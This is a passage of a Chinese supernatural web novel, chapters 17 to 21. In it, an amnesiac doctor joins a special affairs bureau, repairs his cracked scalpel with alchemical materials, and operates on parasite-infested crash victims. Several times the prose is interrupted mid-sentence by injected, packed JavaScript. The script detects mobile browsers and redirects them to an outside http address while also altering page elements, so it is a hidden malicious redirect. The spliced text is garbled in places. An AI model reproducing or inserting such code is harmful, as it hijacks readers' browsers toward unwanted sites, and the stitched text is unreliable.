晏绥根本不知道失忆的两年多里他身上发生了什么,布满裂痕的手术刀和自身对异化能量结晶的怪异反应更是让他迟疑担忧。 这样的他,看似稳定,却是个指不定什么时候就会爆炸的炸弹,一点都不“安全可控”。 空气再度安静下来。 裴野望看着晏绥,晏绥则始终微笑着,平静地等待着再一次的审判。 许久,裴野望开口问道:“你觉得你是什么?” 晏绥:“我当然是人类。” 裴野望点了点头,语气轻快地说:“明白了,我们会想办法搜寻其他幸存者,说不定他们就有人知道和你有关的事,能帮你找回点记忆。” 晏绥眼眸睁大,目光终于从玻璃上的裴野望的倒影转到他身上,对上那双浓黑的眼。 裴野望伸出手,对他一笑:“我们的目的并不冲突,合作愉快。” 晏绥看着裴野望伸出的手看了很久,终究是伸出手。 裴野望用力一握晏绥的手,笑道:“走吧,我带你出去。” 说完,他转身大步朝着电梯走去。 晏绥站在原地怔了片刻,才迈步跟了上去。 电梯“叮”地一声,门开了。 裴野望迈步走进电梯,按着开门键,含笑看向晏绥。 “那个,”晏绥站在电梯门口,犹豫片刻,还是老老实实地说:“其实我最初真的只是想找份普普通通的工作,作为一个普通人继续生存下去,没想到……” “放心吧,”裴野望挑眉道:“在急诊科毁灭的前一秒,我会努力把作为普通人的你捞出来的。” 晏绥站在电梯外和裴野望对视片刻,终究是忍不住笑了一声,长腿一迈大跨步走进电梯,贴近到裴野望身前挑衅似地一笑。 “那可不一定,说不定是我救你呢?” “那我可就等着晏医生‘英雄救美’了。”裴野望语调懒洋洋地调侃道。 晏绥不由上下扫视了他一眼,眉眼弯弯:“这‘美’挺值,我会努力的。” 裴野望笑了笑,眼底的眸色渐深。 晏绥自己也许并没有意识到,他展露的能力有多么惊人。 对他们这些深陷不可名状世界,随时会坠入深渊、万劫不复的人而言,是何等的“希望”。 他会好好地保护这个“希望”,直至这个“希望”割伤他们之前。 17. 第 17 章 电梯“叮”地一声,徐徐开门。 “……不行,必须去异能检测组找到他。” 电梯门一开,晏绥和裴野望顿时和电梯外吵吵嚷嚷的一大群白大褂研究员面面相觑。 “裴大。” 研究员们顿时噤若寒蝉,恭恭敬敬地和裴野望打了招呼后便让开一条通路让他们先走。 裴野望却停下脚步,对晏绥说:“正好,这位就是医学科研组的赵维康教授,今后晏医生在特处局就挂靠在医科研组名下。” 为首头发灰白的男人一听,目光顿时如鹰隼般地扫来,定在晏绥身上。 他沉声开口:“你就是给陈志行做手术的医生?” 他面色严肃,眉头皱起深深的川字,看着不太好惹。 晏绥不解,陈志行是谁? 一旁的裴野望提醒道:“就是那位虫子兄。” 晏绥恍然,点了点头:“是我,有什么……” 赵维康豁然大踏步上前,一把抓住了晏绥的手,激动地说:“我们找你很久了!快,我们这边有好多人都等着救命!” 晏绥一听,下意识急匆匆地抬腿跟着赵维康走。 但走了几步路,他突然反应过来。 不对,他的手术刀都快碎成渣渣了,怎么救人? “等等,”他连忙停下脚步,将自己的手臂扯回来,颇感歉意地说:“不好意思,现在不太行。” 赵维康上下打量了一下晏绥,眉头一拧,眉间的川字纹越发深刻:“为什么不行?连精神值近乎零值的陈志行你都能救回来,其他人你不更是手到擒来?” “就是啊,不是我们等不及,是那些堕化的伤病人员等不及了啊。” “晏医生,你就去看看吧,现在只有你能救他们了。” 其他研究员们也纷纷开口,焦急地劝说晏绥。 晏绥:“这,我,不是……” 他快招架不住了。 裴野望看出什么,上前隔开众人,问道:“你有什么顾虑吗?” 晏绥有些尴尬又有些无奈:“不是我不想去,而是我的手术刀快碎了,其他的普通医用器械也做不了手术。” 赵维康不解其意:“你要什么手术刀,我这里什么都有。” 裴野望想起晏绥那把满是裂痕和破口的手术刀,问道:“没有别的办法?” 晏绥:“试过了,不行……” 一旁的赵维康急道:“有什么需要的,你只管提,我们可以全力协助你!” “……也不是不行。” 晏绥口中的话流畅地在嘴里拐了一个弯,慢吞吞地说:“我的手术刀可以修复,但是需要很多材料。” 赵维康当即大手一挥,豪气道:“可以,C级以下材料都可以提供,B级也可以帮你打申请,实在不行也可以找裴大帮忙。如果有技术上需要帮忙,我们也可以联系其他研究组。” 晏绥双眼一亮。 裴野望也点头:“你需要什么尽管提,我们会尽力提供。” 天降材料大礼包,当头砸在晏绥身上,砸得他眉开眼笑。 虽然无法做手术,但心花怒放的他最后还是跟着赵维康去了医科研组。 …… 医科研组是特处局里最特殊的地方之一,也是所有人都不愿意来的地方。 无他,只因太绝望了。 所有因各种原因堕化到一定程度,无法被现有手段治愈,但也暂时还未彻底异变成怪物的战员和普通人,通通都收容在医科研组。 虽说整个医科研组的人都在用尽各种办法尝试逆转堕化,拯救他们,但所有人都知道,进了医科研组就等于被放弃了,剩下的日子就是等“死”。 直到他们的精神值跌破零值,彻底疯狂或是异变成怪物,便会被视情况灭杀、收容关押甚至当做研究观察对象。 这里收容的病人比晏绥预想的多得多。 冰冷的玻璃后,有十多个身躯歪七扭八地融在一起的战员们、全身几乎快要化成一堆蠕虫的普通人、倒在大盆里快要化为液体的人、不断散成白雾又重新凝聚的人、抱着脑袋一边用力撞墙一边喃喃自语的人……他们拼命挣扎着,却无法自控地一点一点跌入漆黑的深渊里。 晏绥跟着赵维康看了一路,每一个人他都看了许久,神色专注。 看完后,他在所有人期盼又害怕的眼神中点点头,确定地说:“都能治。” 赵维康心脏狠狠一跳,眼眶瞬间红了,簇拥着他们的众医科研组人员也在不可置信后变得欣喜若狂。 这一圈收容的都是情况最严重的人,如果他们都能治,那症状更轻一些的岂不也是板上钉钉了?! 晏绥甚至当场列了一个名单,告诉他们等手术刀修复一定程度后就可以按这个顺序来开展手术。 医科研组的人们小心地捧着这个名单列表,没有人怀疑晏绥的话,毕竟陈志行和徐青山都是铁证。他们更相信裴野望,能被他特地带来的人肯定不会说空话假话。 接下来,他们只需要全力配合晏绥修复手术刀,将人们救回来了。 裴野望一笑,抱臂倚在后方的墙壁上,黑眸专注地看着人群中的晏绥。 “希望”已经掩藏不住光芒了。 …… 挑完材料后,晏绥拎着装满了各色材料的黑色铁箱走出特处局大门,拒绝了特处局的接送,自己打车回酒店。 关上房间门后,晏绥舒了一口气,脱力地往床上一躺,安静地看着酒店房间的天花板。 刚刚在特处局短短的几个小时,对他来说实在有点太跌宕起伏了。 但这也是在他被裴野望说破后,能预想到的最好的结果。 两人后来互相交换了一些信息,他把自己知道的副本世界信息告诉裴野望,裴野望也向他详细讲解了那个神秘却不可探知的“混蒙界”。 混蒙界,与现实世界交融却并不重合的诡异时空,其中充斥着无数不可观测不可描述现象和存在,因两个世界的交融和时不时影响现实世界,引发难以想象的恐怖灾难。而特处局以及各地的部分民间团体是人类这边的保护防线,抵御着混蒙界的侵袭。 曾经两个世界总体处在一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068327|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相对均衡稳定的状态,直到副本世界和异化污染力量突然出现,导致现实世界出现如副本化的空间异化现象,同时混蒙界的危险物受污染狂暴,引发大量如食肉污泥这样相对温和无害的危险物袭人事件。 裴野望告诉他,灵知的预言确有其事,而诡异出现的副本世界和异化污染力量极有可能与预言中的邪神有关。而晏绥,是他们目前第一个接触到的,与副本世界直接相关的线索。 晏绥想叹气。 真倒霉,被拉进副本世界玩生存游戏,结果还和什么灭世的邪神扯上关系了。 裴野望说的没错,这种所谓的异化污染力量他确实很熟悉,因为它充盈于副本世界的每一处。但他是第一次见到这种能量的结晶形态,更是第一次出现吸收这颗晶体力量的情况。 晏绥抬起右手,那把残破的手术刀再次在他掌心凝聚成型。 细白的手指微微一转,窗外的晨光便将手术刀上的裂纹和破口映得清晰可见。 这把手术刀确实是他在副本世界里获得的。 所有顺利从初始副本活下来并通关的新人玩家,都能在庞大的武器库里得到一个可升级的初始武器。 而他选择的,就是这把谁都不愿意选的手术刀。 只是不知道他失忆的那段时间发生了什么,导致这把升级强化过的手术刀彻底变回最初的样子,还残破成这样。 既然这把手术刀来自副本世界,那它会对异化污染力量有反应,似乎也说得过去? 晏绥盯着手术刀观察了许久,又细细感应身体里的知觉反应,都没发现任何不适或是不妥之处。 看了半天没发现什么异样,他干脆一咕噜坐起,打开酒店茶几上的黑色铁箱,露出其中许多零碎的奇怪物品。 这些乱七八糟的材料在他眼里闪闪发光,构成它们的无数或晶莹或黯淡的粒子、结构、纹路在他眼里微不可查地旋转变化,一切都清晰可见。 拜那些突兀出现在大脑中的知识所赐,他现在也能清晰地认出各色材料和它们的来源,也能轻易分辨并挑选出可用的材料。 可惜因为他所在的酒店安全级别太低,别说A级材料了,连很多看中的B级材料无法带走,只能选择一些惰性较强的材料。 他又实在不想在特处局的眼皮底下进行修复实验,得抓紧时间物色新住处了…… 晏绥抛去脑中的杂念,开始研究修复材料。 赵维康他们热情地提供了一份晏绥所选材料的详细资料,包括它们的来源、目前研究出的特性和利用方法等等,列的密密麻麻。 他挑起一根黑铁色长针,指尖轻轻拨弄了一下,开始根据看到的特性和脑中知识来对着资料寻找相应的信息。 粗略地一扫而过,结果却没找到。 晏绥眉头一皱,再仔细地看了一遍,才勉强在粗糙模糊甚至有些谬误的信息里找到对应的记录。 他有些不可置信地看看长针,再看看资料,内心颇感荒谬。 这都什么跟什么,赵教授是不是被人骗了? 罢了,看来只能靠自己了。 18.第 18 章 晏绥丢开资料,琥珀色的眼睛更为专注地凝视着这根长针。 按照资料记载,这根长刺来自B级危险物尖啸毛虫体外最坚韧的长针之一,尖锐度还行,韧性不错,硬度一般,内含微弱的隐秘和能量扩散的神秘特性。 但实际上,这根长针上附着的神秘特性是感官欺骗和震动强化,也因为感官欺骗的特性,它的尖锐度比记录中要高得多,韧性却比记录更差,本身的结构也较差。 感官欺骗的特性对晏绥没用,但如果将其中震动强化的神秘特性稍作更改,就能将强化方向改为锐度,提取后再加的其他材料进行混合…… 他思索着,在箱子里乱七八糟的材料里选出一根细如毫毛的短针,朝着长针内自然形成的核心纹路轻轻拨弄勾画,当场修改其中结构和特性。 很快,整根长针在晏绥的拨弄下突兀地变软,物质形态不稳定地波动起来。 在晏绥完成勾画后,原本的粗硬的黑铁色长针外形被彻底改变,整体变成边缘极其锋利的银亮“叶片”。 但晏绥眼睛“看”到的东西也只能让他做到这了。 资料记载中对长针的利用方法也非常粗糙,基本都是直接整体利用、切段或者磨成粉等等粗暴的物理方法。而晏绥面对第一次见的材料,也只能一点点根据其中特性试验出最好的处理办法。 但是,晏绥的脑中有一段先前凭空冒出的奇怪知识。 这些知识不仅有材料的信息,也包括了很多奇妙的处理方式。 但这个知识,来源不明。 当初他刚看见虫子兄腹部那颗虫子时,脑海里也是突兀地出现了一些知识。鬼知道他因为异化污染力量恍惚失神之时,是不是也看到了什么东西? 研究员宋泰所说的恐怖事件余威尚在,晏绥就算再心痒难耐,还是决定先自己摸索试试。 ……然后不出所料的,全都失败了。 手术刀对这些处理后的材料毫无反应,更别说吸收和修复。 晏绥盯着手术刀看了片刻,愉悦地开始冒险尝试。 “金蓝心花、晖星眼、九曲腥章的体外粘液……” 他挑挑拣拣选出所需的材料,按照记忆中的知识将洒金花瓣的暗蓝色金蓝心花捣烂,将带着星星点点金光的汁液倒入九曲腥章的体外粘液内。 透明粘稠的粘液随之被染成带着细密金色光点的蓝色液体。 随后,晏绥用那颗圆滚滚形似人眼的晖星眼沾了沾金蓝心花残余的汁液,在酒店的沙发桌上围着蓝色液体描画出一个诡异扭曲的符文法阵。 画好后,他顿了顿,终究还是按照知识中的仪式的最后一步,将晖星眼和先前处理过的所有“叶片”一起丢入蓝色液体内。 蓝色的粘液瞬间“咕噜噜”沸腾了起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077349|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原本在粘液内四散的金色光点激烈地运动起来,不断组合成古怪难懂的扭曲纹路又飞快溃散,而那些薄薄的“叶片”一层叠一层,密密麻麻地附着在晖星眼上。 仿佛一个微小的世界在原初的大爆炸后飞快地演化,晏绥好奇地探头观察着,这一切对他来说非常新奇有趣。 等到一切反应停止时,透明玻璃瓶中沸腾的粘液已经消耗殆尽,只留下干涸的蓝色痕迹和黯淡碎裂的晖星眼。 而在晖星眼之上,一颗黄豆大小的透明胶质物体缓缓凝聚。 这颗胶质物体并不稳定,在瓶中微微溢散成混沌的雾气又重新凝聚,其颤动变化的边缘泛着银光,内里更是透出一丝奇异的锋锐之感,哪怕外形圆钝,却让人感觉多看两眼都会被它割伤。 晏绥紧紧盯着这颗胶质物体,突然意识到什么,双眼瞬间瞪大。 这是……完全纯粹的“锋利”和“韧性”凝聚而成的本源之物,除此之外没有任何杂质!他甚至不知道这个东西是否还能被称为物质。 这种概念化的东西居然还能这样提取和显现吗? 晏绥难掩惊愕,这几乎颠覆了他对这个世界和物质材料的认知。他汗毛甚至微微竖起,仿佛小小地窥见了一个庞大、黑暗、不可捉摸的世界。 如果继续按照这些知识往下推进的话……说不定真的能生造出可以修复手术刀的材料! 19.第 19 章 晏绥飞快让自己冷静下来,又拿起极其坚硬的螺纹长尖角、薄如蝉翼的锋利尖翼等数种材料,修改提升材料内部的规则构架,再用记忆中的知识将其分别处理,最后将提取出的所有本源之物以特殊的顺序和方式融合,最终得到一粒指甲盖大小的,稍显柔软的亮银色软泥。 晏绥夹起这颗仿佛在缓缓流动的银色软泥,心里的期待达到顶峰。 他将银色软泥切成小块,小心地往手术刀上的破口和裂缝上填补而去。 软泥刚一贴近手术刀,就迅速化水融入刀身,同时熟悉的发热感再次从手术刀上传来。 真的有戏! 所有软泥融入以后,手术刀维持着温热的手感,晏绥仔细感受了一下,发现手术刀确实愈合了一丝,但远没有小米大小的异化能量结晶效果好。 内心的兴奋促使晏绥又在箱子里挑挑拣拣,重新挑出材料来继续修复。 等他心头的兴奋劲过去后,已经彻底困得睁不开眼了。 他揉了揉发困的眼睛,强撑着简单洗漱,然后一头栽倒在床上。 …… ………… 晏…… 晏医生…… 找到……你了…… 细碎的模糊呓语在耳边回荡,晏绥眼睫不安地颤动几下,意识却陷在黑暗中,无法清醒。 黑暗中,有什么在逐渐靠近。 湿漉黏腻的声音悉悉索索,仿佛什么东西在地面滑动的声音,然后有什么冰凉的东西裹住了晏绥细白的脚踝,一点点往上蔓延,将他彻底裹得密不透风。 一道冰凉的吐息轻轻靠在晏绥的耳边,低柔滑腻的呓语仿佛轻叹一声:“找到你了,晏医生。” 晏绥猛地睁开眼,一下弹坐起来。 梦中的冰冷黏腻仿佛还残留在皮肤上,他搓了搓手臂上冒起的鸡皮疙瘩,目光落在桌子上还未收拾起来的材料。 他微微眯起眼,手指不由微微曲起,然后用力握拳。 得赶快修复手术刀了,不然想硬碰硬都没有资格。 …… 接下来的几天,急诊科里什么事都没发生,晏绥也没再做梦,日子平静安稳。 然而这种平静却如山雨欲来,难言的危机感却始终如乌云般闷在心头,难以消解。 今天到急诊科上班时,晏绥敏锐地发现这里似乎又有所不同。 他转了一圈,发现除了早已修好的墙面以外,四楼处在装修状态的几间办公室已经改造完成,这里变成了缩小版的观察室和实验室,许多有些眼熟的仪器已经搬了进来。 “晏医生晚上好,手术刀修复进度如何了?” 身后打开的门板被敲了敲,晏绥一回头,看见了倚在门边的裴野望。 晏绥回道:“裴大晚上好,修复已经有点成效了。” 裴野望:“那什么时候能做手术?” 晏绥老实道:“至少还要再过几天,也需要更多的材料,不然我担心手术过程中出现问题。” 说完,见裴野望靠在墙边没动,他又问:“裴大今晚不用去其他地方执行任务吗?” 裴野望耸了耸肩,漫不经心地笑道:“战员们很能干,已经把任务都给包了,我一个闲人也就只能来跑腿送快递。” 说着,他迈步上前,打开放置在实验台上巨大的黑箱子。 晏绥探头一看,发现里面装得是早上他看中却不能带出的大量材料,还有各式武器。 裴野望说:“考虑到你的情况,以后你可以在这里完成你的实验和研究。” 晏绥双眼一亮。 太好了,修复的进度能加快了。 裴野望指着另一边十支浅绿色玻璃管,说:“这是上次从那些虫卵和卵鞘中发现的物质制作的加速愈合药剂,第一批已经投放给一线战员们使用了,第二批我弄了点给你试试。” 晏绥拿起其中一支仔细看了看,有些惊讶地挑眉。 纯度和愈合功效都提升了不少,甚至还带上了一点镇静心神的作用,那个特处局研究中心的技术力比他想象中要更强啊。 裴野望又拿起箱子另一侧的一把砍刀颠了颠,递给晏绥,继续介绍道:“这几把刀是从危险物材料制作的武器库里挑出来简单改造过的,精细器械的研究制作还需要时间,这些你先拿来应急。” 晏绥的目光从材料移到武器上,不由接过裴野望手里那把小臂长的大砍刀颠了颠,指尖轻轻抚过寒光湛湛的刀刃,突然抬头瞄了裴野望一眼,有些蠢蠢欲动起来。 裴野望挑眉:“怎么?” 晏绥眨巴眨巴眼,慢吞吞地说:“没什么,就是觉得你可以考虑系个领带。” 裴野望低头看了眼自己随意敞开了两颗纽扣的灰黑衬衫领口,似笑非笑地问:“为什么?” “你看。” 晏绥抬起手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闪烁的红蓝光芒和前车灯由远及近,照亮了夜色下的急诊大楼。 刚好下到一楼的两人一怔,倏地一同看向门外,只见几台救护车呼啸而来,以夸张的速度直直冲入急诊科的停车场。 这哪来的救护车? 苏婉在导诊台后焦急又无措,挂着硕大黑眼圈的憔悴面容上满是惊恐:“我我我今晚没拜神……” 又被晏绥隐晦地瞪了一眼的裴野望摸了摸鼻子,两人一同快步往大门跑去。 20.第 20 章 几分钟之前,几台救护车看似在黑暗中平稳地行驶,其实内里早已一片慌乱。 “怎么办?我们还能出去吗?” “我们确定在向医院的方向靠吗?” 车厢内的医护们急得满头大汗,救护车司机们也不遑多让。他们一次一次地切换频道、按下按钮呼叫指挥调度中心,对讲机里却只有一片电流的沙沙声。 他们像是被单独屏蔽在了一个与世隔绝的空间,无论如何挣扎,都无法求救无法逃脱。 为首的司机用力一锤方向盘,只能死死盯着远光灯也无法照亮的前路,咬牙说:“应该是这边,我尽量……” 不知过了多久,在救护车里的人越发紧张绝望之际,突然听到一声惊呼。 “那边好像有光!快,往那边开!” 司机们精神一震,已经无暇多想,一脚油门呼啸着直冲向黑暗中唯一的光点。 闷头冲入那道光芒之中后,周围终于不再一片漆黑,眼前亮着灯的建筑门口上更是挂着鲜红的“急诊”二字。 “出来了,我们到了!” 然而没等他们高兴太久,在看清这栋急诊大楼后,司机脑子一懵:“不对,这里是市人民医院旧院区……” 市人民医院旧院区和他们的目的地第三人民医院可以说是两个方向,他们怎么会来到这里? 而且他们这些跑救护车的谁不知道,市人民医院旧院的急诊科早已停诊关闭,整个科室都搬迁到西区新院去了。 这里的急诊……真的是急诊科吗? 司机脑中一瞬间冒出大量的恐怖故事情节。 他再次用力按了按对讲机,发现仍旧只有一片沙沙的电流声,“怎么办,病人还支撑得住吗?” 车上的医护人员闻言面色发白,盯着病人各项微弱的生命体征一时说不出话来。 说实话,以他们的经验判断,这些病人居然能维持着一口气坚持到现在,已经是一个奇迹。 但很快,一个随车医生果断道:“别回头,我们开进去。” 他们早已没有退路。 这里距离最近的第三人民医院至少十分钟路程,先不说病人还能不能坚持到医院,万一他们出去后再次回到那个漆黑的空间,那就真是彻底落入叫天天不应叫地地不灵的境地。 就在这时,急诊大楼里跑出来两个人,朝着他们招手示意。 “有人!” 车上的医护人员们一喜,已经顾不上那么多,在救护车停稳的一瞬打开车门,急匆匆地将病人抬下车,往急诊大楼里跑去。 “先把病人送进来吧,这里医疗器械和药物都有。”疾步走出的裴野望扬声道。 接连三个担架匆匆推入急诊大楼内,随车的医护与晏绥和苏婉短暂交流后,马上先将各自负责的病人送入一楼的抢救室。 一名医生语速极快地说:“沿江路发生特大车祸,这三位都是受伤特别严重的,必须马上组织抢救会诊……” 晏绥观察着推车上的伤患情况,语气不急不缓地说:“这里只有我和苏护士两个人,恐怕叫不来其他医生。” “什么?不就一个电话的事吗?为什么……” 说着说着,众救护车医护们想起了刚刚诡异的鬼打墙,表情彻底空白了。 但他们只是120急救指挥调度中心配备的随车医生和护士,根本做不了手术。现在摇不来其他科室的值班医生,那病人们怎么办? “不急,我一个一个来做,麻烦各位先帮忙稳定其他伤患的情况。苏护士,准备手术。”晏绥迅速给病人接好各种监护仪器,对医护们笑了笑,转身疾步朝着手术室走去。 这…… 120随车医护们面面相觑。 本来他们将病人转交到医院后,就要回去准备下一趟出车。 但现在无法联系上中心,也没办法抛下这些病人不管……只能先死马当活马医了。 抢救室里一片忙乱,裴野望找到门诊大厅内心有余悸的几名司机,问道:“你们怎么到这里来的?” 司机们对视了一眼,擦了擦额头的汗水,一脸苦意地开口说:“我们也不知道,本来是朝着第三人民医院去的,结果就遇到了鬼打墙……” 司机的话还没说完,一楼走廊深处的楼梯方向突然传来一阵细微的声响。 声音极轻,在裴野望眼风扫过去之前就消失了。 “裴大,检测到急诊大楼里出现不明波动,疑似有危险物混进去了,目前在往二楼移动。” 耳朵里的微型耳机沙沙响了起来,传来守在急诊大楼外围的战员声音。 裴野望神色不动,在听完了他们刚刚的遭遇后,对他们稍作安抚了几句后,按着耳边低声道:“一小队进来保护。” 没过多久,一队全副武装的六名战员小跑进急诊大楼里,他们对裴野望略一点头后迅速围着坐在候诊区的司机们分散守卫。 裴野望回头,对目瞪口呆的几位司机散漫地笑了笑,说:“各位,我先失陪一下。” “那个,我们……”其中一个司机小心翼翼地问道:“我们还能平安回去吗?” 裴野望闻言,好笑道:“放心吧,他们会保护好你们的安全。” 说完,他一摆手,转身漫步照着声响传来的地方走去。 与此同时,在一楼另一侧的手术室内,无影灯“啪”地亮起,照亮了手术台上的伤患身上。 明亮的灯光照亮了这个年轻男人的脸。 他双目微阖,微微卷曲的深棕色发丝柔软地垂着,沾着血的面容俊美得阴郁邪异,仿佛让人看多两眼都会头昏脑涨,目眩神迷。 虽是气游若丝,但他却始终吊着一口气,甚至脸上带着微微的笑意,透出一股诡异的平和安详。 总觉得哪里有些奇怪,却又说不上来。 苏婉满头大汗地准备好输血、引流管和手术器械后,一转头却发现晏绥捏着麻醉针,站在手术床边一动不动,定定地看着病床上的俊美伤患。 苏婉顿时有种不好的预感:“怎,怎么了吗?” 晏绥回头看了她一眼,眉头微微皱起。 就在苏婉心惊肉跳,面露惊恐之时,他认真地开口说:“我们真的很需要一个麻醉医生。” 苏婉:“……” 她闭了闭眼,心累地开口:“够了,没有麻醉医生,也最好别再有新的倒霉蛋。” 晏绥口罩下的嘴角撇了撇,转头把麻醉针扎入患者体内。 只能委屈这位患者接受他的半吊子麻醉技术了。 麻醉注入,晏绥一提起手术刀,那种莫名的怪异感觉更强了。 这位伤患大量失血,且大面积外伤、颅骨骨折、开放性气胸,而且即便有颈托等各种东西固定,都能看出脊椎有明显的扭曲。 这么严重的伤势,没在车祸现场一命呜呼只能说他命大。 他迟疑片刻,换了把镊子,慢吞吞地开口说:“先盯好仪器,别看我这里,我要先看看伤口里的是什么东西。” 话音一落,他捏着镊子在伤患的手臂伤口上一挑一夹,只听一声仿若指甲摩擦黑板般刺耳的尖叫,一道诡异的黑气从那血肉模糊的创口里飙射而出。 又来?! 苏婉心里咯噔一下,差点当场飙泪。 救命,谁来救救我! 从伤口里喷射而出的黑烟很是诡异难闻,晏绥却没有多分神注意它一点,只紧紧盯着镊子下的伤口。 只见一道深蓝色的,仿佛液体又仿佛果冻般的东西在伤口处一闪而过,又重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113793|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没入了伤患的血肉之中。 又是个没见过的东西。 这时,紧紧盯着仪器的苏婉惊叫一声:“刚刚心率下降了,现在又正常了。” 晏绥抬眼看了看检测仪屏幕,心道果然。 就是因为这个不知名的玩意,这些伤患才能坚持这么久。 晏绥开口说:“准备穿刺抽气。” 有这个东西在,算是多了一道安全保障,至少大大减少了在没有麻醉医生的情况下实施手术的风险。 人体胸腔是个封闭的负压环境,在抽气减轻胸腔内因气压导致的压力后,晏绥迅速又灵巧地清创缝合后,接上闭式引流管持续降压。 一旁的苏婉忍不住惊异地抬头看了晏绥一眼。 这可不是那些古怪诡异的危险物,没想到晏绥这么年轻,手法居然这么干脆利落。 又快又稳地处理完开放性气胸,晏绥又飞快地修复颅骨折断的骨片,清创缝合完毕。 甚至连他的脊椎骨折,晏绥都在苏婉难以置信的目光下给他利索地植骨固定好了! “我记得……你的专业不是骨科吧……” 眼睁睁地看着历经几次大的手术操作后,男人各项亮红灯的危险数值逐步拉回平稳,苏婉一脸魔幻地开口。 这么麻烦的骨科手术,骨科的专业医师都不一定能做好,像晏绥这样只拿到执业医师证的小新人更是连当助手都够呛,他居然愣是一个人完成了? 晏绥头也不抬地说:“我所有科室都轮转规培过,也进过手术室实习观摩,还能清楚看到患者体内的情况的能力,这还不简单吗?” 这哪里简单了?! 苏婉想把手里的持针钳砸在晏绥脑袋上。 以难以置信的效率将男人的生命从危险线拉回来后,晏绥再次凝神望去,只见大片大片深深浅浅的蓝黑色物质缓缓游离出原本伤势最重的地方,凝聚在男人的各个大小伤口处。 接下来才是最麻烦的部分。 晏绥放下电刀,将特处局特质的大铁桶提前放好,然后拿起了自己那把破破烂烂的手术刀。 锋利的刀身切入蓝黑色物质和中年男人的肌理之间,顺着蓝黑色物质游动的方向缓缓移动。 很快,晏绥目光一凝,刀锋一挑,将牢牢吸附其中的蓝黑色物质整个挑了起来。 他极快地用镊子夹住这个半透明果冻一般的长条状物体,手术刀一把切断了这个物体和伤口相连的地方,将它的口器从中年男人的血肉中分离出来。 这又扁又长仿若煮熟的宽厚版粉皮的深蓝色物体在镊子上弹动几下,再一次发出刺耳的指甲刮擦黑板的尖叫。 晏绥神色不动,镊子一转将它按在了铁盘上,像是杀鱼一样一刀剖开它满是花纹的腹部。 他换了一把尖头镊子在它腹内一夹一挑,一颗如沙尘般细小的紫黑色结晶和一块黄豆大小的浅白色硬物当即被他一把挑出。 这深蓝色物体整个一抖,安静下来,彻底瘫软在铁盘上不动了。 这一下却像是打开了什么开关,所有蛰伏在伤口内的深蓝色物体骤然涌动起来,全都急切地爬了出来,大股大股的浓郁黑烟随之涌出。 手术室里的晏绥和苏婉猝不及防,正面被袭,彻底被浓郁的黑烟裹住。 于此同时,藏在一楼阴影里的某个东西死死盯着正亮着灯的手术室大门,整个身体狂喜地颤抖起来。 是真的……祂说的是真的! 它几乎是不管不顾地从阴影中跳出,癫狂地直直扑去。 下一瞬,一只黑色长靴从天而降,“啪”地一脚死死踩住了这个东西的身体。 “想去哪呢?” 本该在二楼追踪危险物的裴野望微微笑着,幽深的眼眸居高临下地瞥下来。 21.第 21 章 黑烟实在是腥臭难闻。 晏绥皱起眉,苏婉却眼神涣散下来,居然僵硬地转过身,往手术室大门的方向大步迈去。 这些喷吐出大量黑烟的深蓝色物体扭动着,飞快地从男人的伤口处疯狂挤出来,像是离水的鱼一般在地上翻卷蠕动着,如潮水般“噼噼啪啪”地朝晏绥涌来。 与此同时,手术台上的男人的心率急速下降,瞬间降到零。 又长又尖的“嘀——”声拉扯着神经,高调地宣告着死神的逼近。 糟了。 晏绥一时间顾不上不断蠕动靠近的深蓝色物体和表现诡异的苏婉,扑到男人胸前给他紧急做心肺复苏抢救。 化作虚无阴影的庞大怪物尖啸着,癫狂地不断冲击着手术室大门,却被门前仿若门神的裴野望一次次一拳揍飞。 裴野望活动了一下手指,对着怨恨地盯着他的怪物散漫一笑:“里面正忙着,闲杂东西免进。” 神情恍惚的苏婉直直地走向手术门,然后“嘭”地一声巨响中撞在了门上。 “唔……”她一下从迷蒙中清醒过来,蹲坐在地上痛得鼻涕眼泪都快出来了。 “醒了就过来注射肾上腺素。” 晏绥语气急促,一边盯着仪器,一边继续用力按压着男人的心脏。 缓过神来的苏婉迅速想起了自己在哪,发生了什么,马上手忙脚乱地从地上爬起来。 但刚一转身,她只觉得心脏一停,浑身的鸡皮疙瘩都在起立尖叫,精神值甚至猛地朝着黄色掉了一大截。 那些深蓝色的果冻状物体正一个叠一个,一层一层地沿着晏绥的腿往上攀爬,已经快爬到他的膝盖了。 “快点,肾上腺素!” 